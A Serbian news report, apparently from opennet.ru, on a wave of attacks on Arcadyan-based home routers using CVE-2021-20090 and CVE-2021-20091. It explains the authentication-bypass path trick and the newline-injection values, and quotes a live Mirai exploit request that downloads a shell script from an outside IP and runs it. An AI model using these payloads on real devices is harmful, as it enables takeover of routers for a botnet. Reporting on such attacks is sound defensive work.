На мрежи је забележен масовни напад на кућне рутере чији фирмвер користи имплементацију ХТТП сервера компаније Арцадиан. Да би се добила контрола над уређајима, користи се комбинација две рањивости која омогућава даљинско извршавање произвољног кода са роот правима. Проблем утиче на прилично широк спектар АДСЛ рутера компанија Арцадиан, АСУС и Буффало, као и на уређаје који се испоручују под брендовима Беелине (проблем је потврђен у Смарт Бок Фласх), Деутсцхе Телеком, Оранге, О2, Телус, Веризон, Водафоне и други телеком оператери. Напомиње се да је проблем присутан у Арцадиан фирмверу више од 10 година и да је за то време успео да мигрира на најмање 20 модела уређаја од 17 различитих произвођача.
Прва рањивост, ЦВЕ-2021-20090, омогућава приступ било којој скрипти веб интерфејса без аутентификације. Суштина рањивости је да су у веб интерфејсу неки директоријуми преко којих се шаљу слике, ЦСС датотеке и ЈаваСцрипт скрипте доступни без аутентификације. У овом случају, директоријуми за које је дозвољен приступ без аутентификације се проверавају коришћењем почетне маске. Навођење знакова „../” у путањама за одлазак до родитељског директоријума је блокирано од стране фирмвера, али се употреба комбинације „..%2ф” прескаче. Тако је могуће отворити заштићене странице приликом слања захтева попут „хттп://192.168.1.1/имагес/..%2финдек.хтм“.
Друга рањивост, ЦВЕ-2021-20091, омогућава аутентификованом кориснику да изврши промене у системским поставкама уређаја слањем посебно форматираних параметара скрипти аппли_абстрацт.цги, која не проверава присуство знака новог реда у параметрима . На пример, приликом обављања пинг операције, нападач може да наведе вредност „192.168.1.2%0ААРЦ_СИС_ТелнетдЕнабле=1“ у пољу са ИП адресом која се проверава и скриптом, када креира датотеку подешавања /тмп/етц/цонфиг/ .глбцфг, уписаће ред „ААРЦ_СИС_ТелнетдЕнабле=1” у њега ", који активира телнетд сервер, који обезбеђује неограничен приступ командној љусци са роот правима. Слично томе, постављањем параметра ААРЦ_СИС, можете извршити било који код на систему. Прва рањивост омогућава покретање проблематичне скрипте без аутентификације приступајући јој као „/имагес/..%2фаппли_абстрацт.цги“.
Да би искористио рањивости, нападач мора бити у могућности да пошаље захтев на мрежни порт на којем је покренут веб интерфејс. Судећи по динамици ширења напада, многи оператери остављају приступ својим уређајима са спољне мреже како би служби подршке поједноставили дијагностику проблема. Ако је приступ интерфејсу ограничен само на интерну мрежу, напад се може извршити са спољне мреже коришћењем технике „ДНС поновног повезивања“. Рањивости се већ активно користе за повезивање рутера на Мираи ботнет: ПОСТ /имагес/..%2фаппли_абстрацт.цги ХТТП/1.1 Веза: затвори Усер-Агент: Дарк ацтион=старт_пинг&субмит_буттон=пинг.хтмл& ацтион_парамс=блинк_тиме%3Д5=дресс_пинг 212.192.241.7%0А АРЦ_СИС_ТелнетдЕнабле=1& %0ААРЦ_СИС_=цд+/тмп; вгет+хттп://212.192.241.72/лолол.сх; цурл+-О+хттп://212.192.241.72/лолол.сх; цхмод+777+лолол.сх; сх+лолол.сх&АРЦ_пинг_статус=0&ТМП_Пинг_Типе=4
Извор: опеннет.ру